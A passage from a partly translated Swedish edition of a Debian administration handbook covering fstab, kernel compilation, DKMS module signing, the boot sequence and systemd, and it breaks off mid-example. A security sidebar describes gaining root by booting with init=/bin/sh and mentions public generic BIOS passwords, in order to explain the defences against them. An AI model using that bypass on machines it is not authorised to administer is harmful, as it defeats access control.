A complete list of known filesystems is available in the mount(8) manual page. The swap special value is for swap partitions; the auto special value tells the mount program to automatically detect the filesystem (which is especially useful for disk readers and USB keys, since each one might have a different filesystem);

options: there are many of them, depending on the filesystem, and they are documented in the mount man page. The most common are

rw or ro, meaning, respectively, that the device will be mounted with read/write or read-only permissions.

noauto deactivates automatic mounting on boot.

nofail allows the boot to proceed even when the device is not present. Make sure to put this option for external drives that might be unplugged when you boot, because systemd really ensures that all mount points that must be automatically mounted are actually mounted before letting the boot process continue to its end. Note that you can combine this with x-systemd.device-timeout=5s to tell systemd to not wait more than 5 seconds for the device to appear (see systemd.mount(5)).

usergodkänner alla användare att montera detta filsystem (en operation som annars skulle vara begränsad till rootanvändaren).

defaults means the group of default options: rw, suid, dev, exec, auto, nouser and async, each of which can be individually disabled after defaults by adding nosuid, nodev and so on to block suid, dev and so on. Adding the user option reactivates it, since defaults includes nouser.

dump: this field is almost always set to 0 and kind of a relic. When it is greater then zero, it tells the dump tool that the partition contains data that is to be backed up frequently. The tool supports Ext2/3/4 filesystems only and will use the value here when run via dump -W or dump -w to determine which partitions need to be backed up. Consider the examples in /usr/share/doc/dump/examples/ if you want to use this feature. But there are better alternatives to backup a filesystem, like fsarchiver.

pass: this last field indicates whether the integrity of the filesystem should be checked on boot, and in which order this check should be executed. If it is 0, no check is conducted. The root filesystem should have the value 1, while other permanent filesystems get the value 2.

Exempel 8.5. Exempel/etc/fstab fil

# /etc/fstab: static file system information. # # Use 'blkid' to print the universally unique identifier for a # device; this may be used with UUID= as a more robust way to name devices # that works even if disks are added and removed. See fstab(5). # # systemd generates mount units based on this file, see systemd.mount(5). # Please run 'systemctl daemon-reload' after making changes here. # # <file system> <mount point> <type> <options> <dump> <pass> # / was on /dev/sda1 during installation UUID=7a250fb8-c16d-4a4e-9808-ec08ae92b6c6 / ext4 errors=remount-ro 0 1 # swap was on /dev/sda5 during installation UUID=13f367ae-dbaf-40ed-85c0-4072a2ebe426 none swap sw 0 0 /dev/sr0 /media/cdrom0 udf,iso9660 user,noauto 0 0 /dev/fd0 /media/floppy auto rw,user,noauto 0 0 arrakis:/shared /shared nfs defaults 0 0

The last entry in the example corresponds to a network filesystem (NFS): the /shared/ directory on the arrakis server is mounted at /shared/ on the local machine.

The format of the /etc/fstab file is documented in the fstab(5) manual page.

GÅ VIDAREAutomatisk-montering

systemd is able to manage automount points: those are filesystems that are mounted on-demand when a user attempts to access their target mount points. It can also unmount these filesystems when no process is accessing them any longer.

Like most concepts in systemd, automount points are managed with dedicated units, using the .automount suffix. See systemd.automount(5) for their precise syntax.

Other auto-mounting utilities exist, such as automount in the autofs package or amd in the am-utils package.

Note also that GNOME, Plasma, and other graphical desktop environments work together with udisks2, and can automatically mount removable media when they are connected.

8.9.6. locate och updatedb

The locate command can find the location of a file when you only know part of the name. It sends a result almost instantaneously, since it consults a database that stores the location of all the files on the system; this database is updated daily by the updatedb command. There are multiple implementations of the locate command and Debian picked mlocate for its standard system. If you want to consider an alternative, you can try plocate which provides the same command line options and can be considered a drop-in replacement.

locate is smart enough to only return files which are accessible to the user running the command even though it uses a database that knows about all files on the system (since its updatedb implementation runs with root rights). For extra safety, the administrator can use PRUNEDPATHS in /etc/updatedb.conf to exclude some directories from being indexed.

8.10. Kompilera en Kärna

The kernels provided by Debian include the largest possible number of features, as well as the maximum of drivers, in order to cover the broadest spectrum of existing hardware configurations. This is why some users prefer to recompile the kernel in order to only include what they specifically need. There are two reasons for this choice. First, it may be to optimize memory consumption, since the kernel code, even if it is never used, occupies memory for nothing (and never “goes down” on the swap space, since it is actual RAM that it uses), which can decrease overall system performance. A locally compiled kernel can also limit the risk of security problems since only a fraction of the kernel code is compiled and run.

OBS säkerhetsuppdateringar

If you choose to compile your own kernel, you must accept the consequences: Debian cannot ensure security updates for your custom kernel. By keeping the kernel provided by Debian, you benefit from updates prepared by the Debian Project's security team.

Recompilation of the kernel is also necessary if you want to use certain features that are only available as patches (and not included in the standard kernel version).

GÅ VIDARE Debians kärnhandbok

The Debian kernel team maintains the “Debian Kernel Handbook” (also available in the debian-kernel-handbook package) with comprehensive documentation about most kernel related tasks and about how official Debian kernel packages are handled. This is the first place you should look into if you need more information than what is provided in this section.

→ https://kernel-team.pages.debian.net/kernel-handbook/

8.10.1. Introduction and Prerequisites

Unsurprisingly Debian manages the kernel in the form of a package, which is not how kernels have traditionally been compiled and installed. Since the kernel remains under the control of the packaging system, it can then be removed cleanly, or deployed on several machines. Furthermore, the scripts associated with these packages automate the interaction with the bootloader and the initrd generator.

The upstream Linux sources contain everything needed to build a Debian package of the kernel. But you still need to install build-essential to ensure that you have the tools required to build a Debian package. Furthermore, the configuration step for the kernel requires the libncurses-dev package (formerly libncurses5-dev, which is now a transitional package). Finally, the fakeroot package will enable creation of the Debian package without using administrator's rights.

CULTURE The good old days of kernel-package

Before the Linux build system gained the ability to build proper Debian packages, the recommended way to build such packages was to use make-kpkg from the kernel-package package.

8.10.2. Hämta källkoden

Like anything that can be useful on a Debian system, the Linux kernel sources are available in a package. To retrieve them, just install the linux-source-version package. The apt search ^linux-source command lists the various kernel versions packaged by Debian. The latest version is available in the Unstable distribution: you can retrieve them without much risk (especially if your APT is configured according to the instructions of Avsnitt 6.2.6, ”Arbeta med flera distributioner”). Note that the source code contained in these packages does not correspond precisely with that published by Linus Torvalds and the kernel developers; like all distributions, Debian applies a number of patches, which might (or might not) find their way into the upstream version of Linux. These modifications include backports of fixes/features/drivers from newer kernel versions, new features not yet (entirely) merged in the upstream Linux tree, and sometimes even Debian specific changes.

The remainder of this section focuses on the 5.10 version of the Linux kernel, but the examples can, of course, be adapted to the particular version of the kernel that you want.

We assume the linux-source-5.10 package has been installed. It contains /usr/src/linux-source-5.10.tar.xz, a compressed archive of the kernel sources. You must extract these files in a new directory (not directly under /usr/src/, since there is no need for special permissions to compile a Linux kernel): ~/kernel/ is appropriate.

$ mkdir ~/kernel; cd ~/kernel $ tar -xaf /usr/src/linux-source-5.10.tar.xz

CULTURE Location of kernel sources

Traditionally, Linux kernel sources would be placed in /usr/src/linux/ thus requiring root permissions for compilation. However, working with administrator rights should be avoided when not needed. There is a src group that allows members to work in this directory, but working in /usr/src/ should be avoided, nevertheless. By keeping the kernel sources in a personal directory, you get security on all counts: no files in /usr/ unknown to the packaging system, and no risk of misleading programs that read /usr/src/linux when trying to gather information on the used kernel.

To build a kernel from the pristine sources, just download the tarball of the version of your choice from kernel.org, verify the integrity after importing the kernel maintainers key, and then proceed as described in the following chapters.

→ https://kernel.org/pub/linux/kernel/

→ https://git.kernel.org/pub/scm/docs/kernel/pgpkeys.git/tree/keys

$ wget https://kernel.org/pub/linux/kernel/v5.x/linux-5.10.62.tar.xz [..] $ wget https://kernel.org/pub/linux/kernel/v5.x/linux-5.10.62.tar.sign [..] $ unxz -c linux-5.10.62.tar.xz | gpg --verify linux-5.10.62.tar.sign - gpg: Signature made Fri 03 Sep 2021 10:11:35 AM CEST gpg: using RSA key 647F28654894E3BD457199BE38DBBDC86092693E gpg: Good signature from "Greg Kroah-Hartman <gregkh@linuxfoundation.org>" [unknown] gpg: aka "Greg Kroah-Hartman (Linux kernel stable release signing key) <greg@kroah.com>" [unknown] gpg: aka "Greg Kroah-Hartman <gregkh@kernel.org>" [unknown] gpg: WARNING: This key is not certified with a trusted signature! gpg: There is no indication that the signature belongs to the owner. Primary key fingerprint: 647F 2865 4894 E3BD 4571 99BE 38DB BDC8 6092 693E

8.10.3. Konfigurera Kärnan

The next step consists of configuring the kernel according to your needs. The exact procedure depends on the goals.

When recompiling a more recent version of the kernel (possibly with an additional patch), the configuration will most likely be kept as close as possible to that proposed by Debian. In this case, and rather than reconfiguring everything from scratch, it is sufficient to copy the /boot/config-version file (the version is that of the kernel currently used, which can be found with the uname -r command) into a .config file in the directory containing the kernel sources. Make sure to read sidebar TIP Missing debian/certs/debian-uefi-certs.pem in this case.

$ cp /boot/config-5.10.0-8-amd64 ~/kernel/linux-source-5.10/.config

Unless you need to change the configuration, you can stop here and skip to Avsnitt 8.10.4, ”Kompilera och bygg paket”. If you need to change it, on the other hand, or if you decide to reconfigure everything from scratch, you must take the time to configure your kernel. There are various dedicated interfaces in the kernel source directory that can be used by calling the make target command, where target is one of the values described below.

make menuconfig compiles and executes a text-mode interface (this is where the libncurses-dev package is required) which allows navigating the options available in a hierarchical structure. Pressing the Space key changes the value of the selected option, and Enter validates the button selected at the bottom of the screen; Select returns to the selected sub-menu; Exit closes the current screen and moves back up in the hierarchy; Help will display more detailed information on the role of the selected option. The arrow keys allow moving within the list of options and buttons. To exit the configuration program, choose Exit from the main menu. The program then offers to save the changes you've made; accept if you are satisfied with your choices.

Other interfaces have similar features, but they work within more modern graphical interfaces; such as make xconfig which uses a Qt graphical interface, and make gconfig which uses GTK+. The former requires qtbase5-dev, while the latter depends on libglade2-dev and libgtk2.0-dev.

When using one of those configuration interfaces, it is always a good idea to start from a reasonable default configuration. The kernel provides such configurations in arch/arch/configs/*_defconfig and you can put your selected configuration in place with a command like make x86_64_defconfig (in the case of a 64-bit PC) or make i386_defconfig (in the case of a 32-bit PC).

TIPS Hantera utdaterade .config filer

When you provide a .config file that has been generated with another (usually older) kernel version, you will have to update it. You can do so with make oldconfig, it will interactively ask you the questions corresponding to the new configuration options. If you want to use the default answer to all those questions you can use make olddefconfig. With make oldnoconfig, it will assume a negative answer to all questions.

8.10.4. Kompilera och bygg paket

NOTE Clean up before rebuilding

If you have already compiled once in the directory and wish to rebuild everything from scratch (for example, because you substantially changed the kernel configuration), you will have to run make clean to remove the compiled files. make distclean removes even more generated files, including your .config file too, so make sure to backup it first.

Once the kernel configuration is ready, a simple make deb-pkg will generate up to 5 Debian packages:

linux-image-version

contains the kernel image and the associated modules,

linux-headers-version

contains the header files required to build external modules,

linux-firmware-image-version

contains the firmware files needed by some drivers (this package might be missing when you build from the kernel sources provided by Debian),

linux-image-version-dbg

contains the debugging symbols for the kernel image and its modules (only created if CONFIG_DEBUG_INFO=y), and

linux-libc-dev

contains headers relevant to some user-space libraries like GNU glibc.

The version is defined by the concatenation of the upstream version (as defined by the variables VERSION, PATCHLEVEL, SUBLEVEL, and EXTRAVERSION in the Makefile), of the LOCALVERSION configuration parameter, and of the LOCALVERSION environment variable. The package version reuses the same version string with an appended revision that is regularly incremented (and stored in .version), except if you override it with the KDEB_PKGVERSION environment variable.

$ make deb-pkg LOCALVERSION=-falcot KDEB_PKGVERSION=$(make kernelversion)-1 [...] $ ls ../*.deb ../linux-headers-5.10.46-falcot_5.10.46-1_amd64.deb ../linux-image-5.10.46-falcot_5.10.46-1_amd64.deb ../linux-image-5.10.46-falcot-dbg_5.10.46-1_amd64.deb ../linux-libc-dev_5.10.46-1_amd64.deb

The whole process requires around 20 GB of free space, at least 8 GB of RAM, and several hours of compilation (utilizing one core) for a standard amd64 Debian kernel. These requirements can be drastically reduced by disabling the debug information using CONFIG_DEBUG_INFO=n, but this will make it impossible to trace kernel errors (“oops”) using gdb and also stop the creation of the linux-image-version-dbg package.

TIP Missing debian/certs/debian-uefi-certs.pem

The default kernel in Debian contains the following configuration:

[..] # # Certificates for signature checking # CONFIG_MODULE_SIG_KEY="" CONFIG_SYSTEM_TRUSTED_KEYRING=y CONFIG_SYSTEM_TRUSTED_KEYS="debian/certs/debian-uefi-certs.pem" # CONFIG_SYSTEM_EXTRA_CERTIFICATE is not set CONFIG_SECONDARY_TRUSTED_KEYRING=y CONFIG_SYSTEM_BLACKLIST_KEYRING=y CONFIG_SYSTEM_BLACKLIST_HASH_LIST="" # end of Certificates for signature checking [..]

Building a custom kernel based on these settings will fail if debian/certs/debian-uefi-certs.pem does not exist. This file can either be obtained from the kernel team's Git repository and placed into the source tree, or it can be replaced by your own certificate(s), or you'll have to disable the setting via CONFIG_SYSTEM_TRUSTED_KEYS="".

→ https://salsa.debian.org/kernel-team/linux/-/blob/master/debian/certs/debian-uefi-certs.pem

8.10.5. Kompilera externa moduler

Some modules are maintained outside of the official Linux kernel. To use them, they must be compiled alongside the matching kernel. A number of common third party modules are provided by Debian in dedicated packages, such as vpb-driver-source (extra modules for Voicetronix telephony hardware) or leds-alix-source (driver of PCEngines ALIX 2/3 boards).

These packages are many and varied, apt-cache rdepends module-assistant$ can show the list provided by Debian. However, a complete list isn't particularly useful since there is no particular reason for compiling external modules except when you know you need it. In such cases, the device's documentation will typically detail the specific module(s) it needs to function under Linux.

For example, let's look at the dahdi-source package: after installation, a .tar.bz2 of the module's sources is stored in /usr/src/. While we could manually extract the tarball and build the module, in practice we prefer to automate all this using the DKMS framework (Dynamic Kernel Module Support). Most modules offer the required DKMS integration in a package ending with a -dkms suffix. In our case, installing dahdi-dkms is all that is needed to compile the kernel module for the current kernel provided that we have the linux-headers-* package matching the installed kernel. For instance, if you use linux-image-amd64, you would also install linux-headers-amd64.

QUICK LOOK DKMS and Secure Boot

On UEFI systems with Secure Boot enabled, modules require signing before they can be loaded. The modules shipped with the kernel packages are signed. But external modules are not. Luckily, dkms already has everything that is required to sign built modules.

First, create a private key /root/dkms.key and a matching certificate /root/dkms.der with openssl, and enroll it with the mokutil --import /root/dkms.der command (please read /usr/share/doc/dkms/README.md.gz for details). This will require a restart and actively importing the certificate using the EFI MOK Manager interface. After this has been done, the sign_tool line in /etc/dkms/framework.conf must be uncommented. Already built modules need to be rebuilt, to be signed by the newly created and enrolled certificate. New modules will be automatically signed.

$ sudo apt install dahdi-dkms [...] Setting up dkms (2.8.4-3) ... Setting up linux-headers-5.10.0-8-amd64 (5.10.46-4) ... /etc/kernel/header_postinst.d/dkms: dkms: running auto installation service for kernel 5.10.0-8-amd64:. Setting up dahdi-dkms (1:2.11.1.0.20170917~dfsg-7.4) ... Loading new dahdi-2.11.1.0.20170917~dfsg-7.4 DKMS files... Building for 5.10.0-8-amd64 Building initial module for 5.10.0-8-amd64 Done. dahdi_dummy.ko: Running module version sanity check. - Original module - No original module exists within this kernel - Installation - Installing to /lib/modules/5.10.0-8-amd64/updates/dkms/ dahdi_dynamic_eth.ko: Running module version sanity check. - Original module - No original module exists within this kernel - Installation - Installing to /lib/modules/5.10.0-8-amd64/updates/dkms/ [...] DKMS: install completed. $ sudo dkms status dahdi, 2.11.1.0.20170917~dfsg-7.4, 5.10.0-8-amd64, x86_64: installed $ sudo modinfo dahdi_dummy filename: /lib/modules/5.10.0-8-amd64/updates/dkms/dahdi_dummy.ko license: GPL v2 author: Robert Pleh <robert.pleh@hermes.si> description: Timing-Only Driver depends: dahdi retpoline: Y name: dahdi_dummy vermagic: 5.10.0-8-amd64 SMP mod_unload modversions parm: debug:int

ALTERNATIV module-assistant

Before DKMS, module-assistant was the simplest solution to build and deploy kernel modules. It can still be used, in particular for packages lacking DKMS integration: with a simple command like module-assistant auto-install dadhi (or m-a a-i dahdi for short), the modules are compiled for the current kernel, put in a new Debian package, and that package gets installed on the fly.

8.10.6. Applicera en kärnpatch

Some features are not included in the standard kernel due to a lack of maturity or to some disagreement with the kernel maintainers. Such features may be distributed as patches that anyone is then free to apply to the kernel sources.

Debian sometimes provides some of these patches in linux-patch-* packages, but they often don't make it into stable releases (sometimes for the very same reasons that they are not merged into the official upstream kernel). These packages install files in the /usr/src/kernel-patches/ directory.

To apply one or more of these installed patches, use the patch command in the sources directory then start compilation of the kernel as described above. The following shows an old example using linux-patch-grsecurity2 and linux-source-4.9.

$ cd ~/kernel/linux-source-4.9 $ make clean $ zcat /usr/src/kernel-patches/diffs/grsecurity2/grsecurity-3.1-4.9.11-201702181444.patch.gz | patch -p1

Note that a given patch may not necessarily work with every version of the kernel; it is possible for patch to fail when applying them to kernel sources. An error message will be displayed and give some details about the failure; in this case, refer to the documentation available in the Debian package of the patch (in the /usr/share/doc/linux-patch-*/ directory). In most cases, the maintainer indicates for which kernel versions their patch is intended.

8.11. Installera en kärna

8.11.1. Funktioner i ett Debian-kärnpaket

A Debian kernel package installs the kernel image (vmlinuz-version), its configuration (config-version) and its symbols table (System.map-version) in /boot/. The modules are installed in the /lib/modules/version/ directory.

KULTUR Symboltabell

The symbols table helps developers understand the meaning of a kernel error message; without it, kernel “oopses” (an “oops” is the kernel equivalent of a segmentation fault for user-space programs, in other words messages generated following an invalid pointer dereference) only contain numeric memory addresses, which is useless information without the table mapping these addresses to symbols and function names.

The package's configuration scripts automatically generate an initramfs image (the successor of the old initial ramdisk initrd image), which is a compressed mini-system designed to be loaded in memory (hence the name, which stands for “initial ram filesystem”) by the bootloader, and used by the Linux kernel solely for loading the modules needed to access the devices containing the complete Debian system (for example, the driver for SATA disks). Finally, the post-installation scripts update the symbolic links /vmlinuz, /vmlinuz.old, /initrd.img, and /initrd.img.old so that they point to the latest two kernels installed, respectively, as well as the corresponding initramfs boot images.

Most of those tasks are offloaded to hook scripts in the /etc/kernel/*.d/ directories. For instance, the integration with grub relies on /etc/kernel/postinst.d/zz-update-grub and /etc/kernel/postrm.d/zz-update-grub to call update-grub when kernels are installed or removed.

8.11.2. Installera med dpkg

Using apt is so convenient that it makes it easy to forget about the lower-level tools, but the easiest way of installing a compiled kernel is to use a command such as dpkg -i package.deb, where package.deb is the name of a linux-image package such as linux-image-5.10.46-falcot_5.10.46-1_amd64.deb.

The configuration steps described in this chapter are basic and can lead both to a server system or a workstation, and it can be massively duplicated in semi-automated ways. However, it is not enough by itself to provide a fully configured system. A few pieces are still in need of configuration, starting with low-level programs known as the “Unix services”.

Kapitel 9. Unixtjänster

Kapitlet täcker en rad grundläggande tjänster vanliga för många Unixsystem. Alla administratörer bör vara bekanta med dem.

9.1. Systemstart

När du startar upp datorn visas många meddelanden för automatiska konfigurationer och initieringar på konsolen. Ibland kanske du vill ändra lite på hur denna fas fungerar, vilket innebär att du måste förstå dem. Det är själva syftet med detta avsnitt.

On systems with a BIOS, first, the BIOS takes control of the computer, initializes the controllers and hardware, detects the disks, and bridges everything together. Then it looks up the Master Boot Record (MBR) of the first disk in the boot order and loads the code stored there (first stage). This code then launches the second stage and finally executes the bootloader.

In contrast to the BIOS, UEFI is more sophisticated, it knows filesystems and can read the partition tables. The interface searches the system storage for a partition labeled with a specific globally unique identifier (GUID) that marks it as the EFI System Partition (ESP), where the bootloaders, boot managers, UEFI shell, etc., are located, and launches the desired bootloader. If Secure Boot is enabled, the boot process will verify authenticity of the EFI binaries there by signature (thus grub-efi-arch-signed is required in this case). The UEFI specification also defines support for booting in legacy BIOS mode. This is called the Compatibility Support Module (CSM). If CSM is enabled, it will attempt to boot from a drive's MBR. However, many new systems do no longer support the CSM mode.

In both cases then the actual bootloader takes over, finds either a chained bootloader or the kernel on the disk, loads, and executes it. The kernel is then initialized, and starts to search for and mount the partition containing the root filesystem, and finally executes the first program — init. Frequently, this “root partition” and this init are, in fact, located in a virtual filesystem that only exists in RAM (hence its name, “initramfs”, formerly called “initrd” for “initialization RAM disk”). This filesystem is loaded in memory by the bootloader, often from a file on a hard drive or from the network. It contains the bare minimum required by the kernel to load the “true” root filesystem: this may be driver modules for the hard drive, or other devices without which the system cannot boot, or, more frequently, initialization scripts and modules for assembling RAID arrays, opening encrypted partitions, activating LVM volumes, etc. Once the root partition is mounted, the initramfs hands over control to the real init, and the machine goes back to the standard boot process.

9.1.1. Systemds init-system

Den ”riktiga init-processen” tillhandahålls av systemd och en beskrivning följer i detta avsnitt.

KULTUR Innan systemd

systemd är ett ganska nytt “init system”, och även om det var tillgänligt redan i Wheezy, blev det standard först i Debian Jessie. Tidigare utgåvor förlitade sig på “System V init” (i paketet sysv-rc), ett traditionellare system. Vi kommer att beskriva System V init senare.

ALTERNATIV Andra uppstartssystem

This book describes the boot system used by default in Debian since Buster (as implemented by the systemd package), as well as the previous default, sysvinit, which is derived and inherited from System V Unix systems; there are others.

The upstart system is still not perfectly tested on Debian. It is event based: init scripts are no longer executed in a sequential order but in response to events such as the completion of another script upon which they are dependent. This system, started by Ubuntu, was present in Debian Jessie, but was not the default; it came, in fact, as a replacement for sysvinit, and one of the tasks launched by upstart was to launch the scripts written for traditional systems, especially those from the sysv-rc package.

openrc is a dependency based service manager. It was originally written for the Gentoo project, but it aims at being platform agnostic. It maintains compatibility with the System V init system and provides support for booting, changing runlevels, starting and stopping services (in parallel), and shutting down.

There are also other systems and other operating modes, such as file-rc, runit, or minit, but some of them are relatively specialized and not widespread.

Figur 9.1. Startsekvens för en dator som kör Linux med systemd

SPECIALFALL Att starta från nätverket

In some configurations, the system may be configured not to execute code from the physical hardware, but to seek its equivalent on the network, making it possible to build computers without a hard drive, or which are completely reinstalled on each boot. This option is not available on all hardware and it generally requires an appropriate combination of firmware and network card.

Att starta från nätverket kan användas för att starta från debian-installer eller FAI (se Avsnitt 4.1, ”Installations Metoder”).

GRUNDERNA Processen, en programinstans

A process is the representation of a running program in memory. It includes all of the information necessary for the proper execution of the software (the code itself, but also the data that it has in memory, the list of files that it has opened, the network connections it has established, etc.). A single program may be instantiated into several processes, not necessarily running under different user IDs.

SÄKERHET Använda ett skal för att init komma åt root-rättigheter

Genom konvention är den första process som startas programmet init (vilket som standard är en symbolisk länk till /lib/systemd/systemd). Det är möjligt att skicka en flagga init till kärnan som pekar på ett annat program.

Alla som har tillgång til datorn kan trycka ned knappen Reset och starta om den. Det är sedan möjligt att i starthanterarens kommandotolk ge flaggan init=/bin/sh till kärnan för att få root-behörighet utan att veta administratörens lösenord.

För att förhindra det kan du skydda själva starthanteraren med ett lösenord. Du kan också begränsa tillgången till BIOS (det finns nästan alltid lösenordsskydd tillgängligt), vilket utan en en illasinnad anfallare ändå kan starta upp maskinen från flyttbar media innehållande deras egna Linux-system, som de sedan kan använda för att komma åt data på datorns hårddiskar.

Finally, be aware that most BIOS/EFI implementations have a generic password available. Initially intended for troubleshooting for those who have forgotten their password, these passwords are now public and available on the Internet (see for yourself by searching for “generic BIOS passwords” in a search engine). All of these protections will thus impede unauthorized access to the machine without being able to completely prevent it. There is no reliable way to protect a computer if the attacker can physically access it; they could dismount the hard drives to connect them to a computer under their own control anyway, or even steal the entire machine, or erase the BIOS memory to reset the password…

Systemd executes several processes, in charge of setting up the system: keyboard, drivers, filesystems, network, services. It does this while keeping a global view of the system as a whole, and the requirements of the components. Each component is described by a “unit file” (sometimes more); the general syntax is derived from the widely-used “*.ini files“ syntax, with key = value pairs grouped between [section] headers. Unit files are stored under /lib/systemd/system/ and /etc/systemd/system/; they come in several flavors, but we will focus on “services” and “targets” here.

A systemd “.service file” describes a process managed by systemd. It contains roughly the same information as old-style init-scripts, but expressed in a declaratory (and much more concise) way. Systemd handles the bulk of the repetitive tasks (starting and stopping the process, checking its status, logging, dropping privileges, and so on), and the service file only needs to fill in the specifics of the process. For instance, here is the service file for SSH:

[Unit] Description=OpenBSD Secure Shell server Documentation=man:sshd(8) man:sshd_config(5) After=network.target auditd.service ConditionPathExists=!/etc/ssh/sshd_not_to_be_run [Service] EnvironmentFile=-/etc/default/ssh ExecStartPre=/usr/sbin/sshd -t ExecStart=/usr/sbin/sshd -D $SSHD_OPTS ExecReload=/usr/sbin/sshd -t ExecReload=/bin/kill -HUP $MAINPID KillMode=process Restart=on-failure RestartPreventExitStatus=255 Type=notify RuntimeDirectory=sshd RuntimeDirectoryMode=0755 [Install] WantedBy=multi-user.target Alias=sshd.service

The [Unit] section contains generic information about the service, like its description and manual page resources, as well as relations (dependency and order) to other services. The [Service] part contains the declarations related to the service execution (starting, stopping, killing, restarting), directories and configuration file(s) used. The last section, [Install], again carries generic information into which targets to install the service and, in this case, the alias that can be used instead of the service name. As you can see, there is very little code in there, only declarations. Systemd takes care of displaying progress reports, keeping track of the processes, and even restarting them when needed. The syntax of these files is fully described in several manual pages (e.g. systemd.service(5), systemd.unit(5), systemd.exec(5), etc.).

A systemd “.target file” describes a state of the system where a set of services are known to be operational. It can be thought of as an equivalent of the old-style runlevel. One of the pre-defined targets is local-fs.target; when it is reached, the rest of the system can assume that all local filesystems are mounted and accessible. Other targets include network-online.target and sound.target (for a full list of special targets see systemd.special(7)). The dependencies of a target can be listed either within the target file (in the Requires= line), or using a symbolic link to a service file in the /lib/systemd/system/targetname.target.wants/ directory. For instance, /etc/systemd/system/printer.target.wants/ contains a link to /lib/systemd/system/cups.service; systemd will therefore ensure CUPS is running in order to reach printer.target.

Eftersom unit-filer är deklarativa och inte skript eller program kan de inte köras direkt, och de tolkas bara av system; det finns därför flera verktyg som låter administratören interagera och kontrollera systemtillståndet för varje komponent.

Det första verktyget av det slaget är systemctl. Nä det körs utan argument listar det alla enhetsfiler kända för systemd (förutom de som har blivit inaktiverade) såväl som deras tillstånds. systemctl status ger en bättre överblick över tjänsterna, såväl som relaterade processer. Om givet namnet för en tjänst (som i systemctl status ntp.service), returnerar den ännu mer detaljer, såväl som de sista få loggraderna relaterade till tjänsten (mer om det senare).

Att starta en tjänst manuellt är så enkelt som att köra systemctl start tjänstenamn.service. Och, som du kanske gissat redan, stoppas tjänsten med systemctl stop tjänstenamn.service; andra kommandon omfattar reload och restart.

För att kontrollera huruvida en tjänst är aktiv (det vill säga huruvuda den startas automatiskt vid uppstart), använd systemctl enable tjänstenman.service (eller disable). is-enabled gör en statuskontroll av tjänsten.

An interesting feature of systemd is that it includes a logging component named journald. It comes as a complement to more traditional logging systems such as syslogd, but it adds interesting features such as a formal link between a service and the messages it generates, and the ability to capture error messages generated by its initialization sequence. The messages can be displayed later on, with a little help from the journalctl command. Without any arguments, it simply spews all log messages that occurred since system boot; it will rarely be used in such a manner. Most of the time, it will be used with a service identifier:

# journalctl -u ssh.service -- Logs begin at Tue 2015-03-31 10:08:49 CEST, end at Tue 2015-03-31 17:06:02 CEST. -- Mar 31 10:08:55 mirtuel sshd[430]: Server listening on 0.0.0.0 port 22. Mar 31 10:08:55 mirtuel sshd[430]: Server listening on :: port 22. Mar 31 10:09:00 mirtuel sshd[430]: Received SIGHUP; restarting. Mar 31 10:09:00 mirtuel sshd[430]: Server listening on 0.0.0.0 port 22. Mar 31 10:09:00 mirtuel sshd[430]: Server listening on :: port 22. Mar 31 10:09:32 mirtuel sshd[1151]: Accepted password for roland from 192.168.1.129 port 53394 ssh2 Mar 31 10:09:32 mirtuel sshd[1151]: pam_unix(sshd:session): session opened for user roland by (uid=0)

En annan användbar kommandoradsflagga är -f, som intstruerar journalctlatt visar nya meddelanden allt eftersom de skapas (i still med tail -f fil).

Om en tjänst inte fungerar som väntat så är det första steget att kontrollera att tjänsten verkligen körs med systemctl status; om den inte gör det, och meddelanden från kommandot inte är nog för att finna problemet, kontrollera loggarna som samlats av journald. Som exempel, anta att SSH-servern inte fungerar:

# systemctl status ssh.service ● ssh.service - OpenBSD Secure Shell server Loaded: loaded (/lib/systemd/system/ssh.service; enabled) Active: failed (Result: start-limit) since Tue 2015-03-31 17:30:36 CEST; 1s ago Process: 1023 ExecReload=/bin/kill -HUP $MAINPID (code=exited, status=0/SUCCESS) Process: 1188 ExecStart=/usr/sbin/sshd -D $SSHD_OPTS (code=exited, status=255) Main PID: 1188 (code=exited, status=255) Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:36 mirtuel systemd[1]: ssh.service start request repeated too quickly, refusing to start. Mar 31 17:30:36 mirtuel systemd[1]: Failed to start OpenBSD Secure Shell server. Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state. # journalctl -u ssh.service -- Logs begin at Tue 2015-03-31 17:29:27 CEST, end at Tue 2015-03-31 17:30:36 CEST. -- Mar 31 17:29:27 mirtuel sshd[424]: Server listening on 0.0.0.0 port 22. Mar 31 17:29:27 mirtuel sshd[424]: Server listening on :: port 22. Mar 31 17:29:29 mirtuel sshd[424]: Received SIGHUP; restarting. Mar 31 17:29:29 mirtuel sshd[424]: Server listening on 0.0.0.0 port 22. Mar 31 17:29:29 mirtuel sshd[424]: Server listening on :: port 22. Mar 31 17:30:10 mirtuel sshd[1147]: Accepted password for roland from 192.168.1.129 port 38742 ssh2 Mar 31 17:30:10 mirtuel sshd[1147]: pam_unix(sshd:session): session opened for user roland by (uid=0) Mar 31 17:30:35 mirtuel sshd[1180]: /etc/ssh/sshd_config line 28: unsupported option "yess". Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:35 mirtuel sshd[1182]: /etc/ssh/sshd_config line 28: unsupported option "yess". Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:35 mirtuel sshd[1184]: /etc/ssh/sshd_config line 28: unsupported option "yess". Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:36 mirtuel sshd[1186]: /etc/ssh/sshd_config line 28: unsupported option "yess". Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:36 mirtuel sshd[1188]: /etc/ssh/sshd_config line 28: unsupported option "yess". Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:36 mirtuel systemd[1]: ssh.service start request repeated too quickly, refusing to start. Mar 31 17:30:36 mirtuel systemd[1]: Failed to start OpenBSD Secure Shell server. Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state. # vi 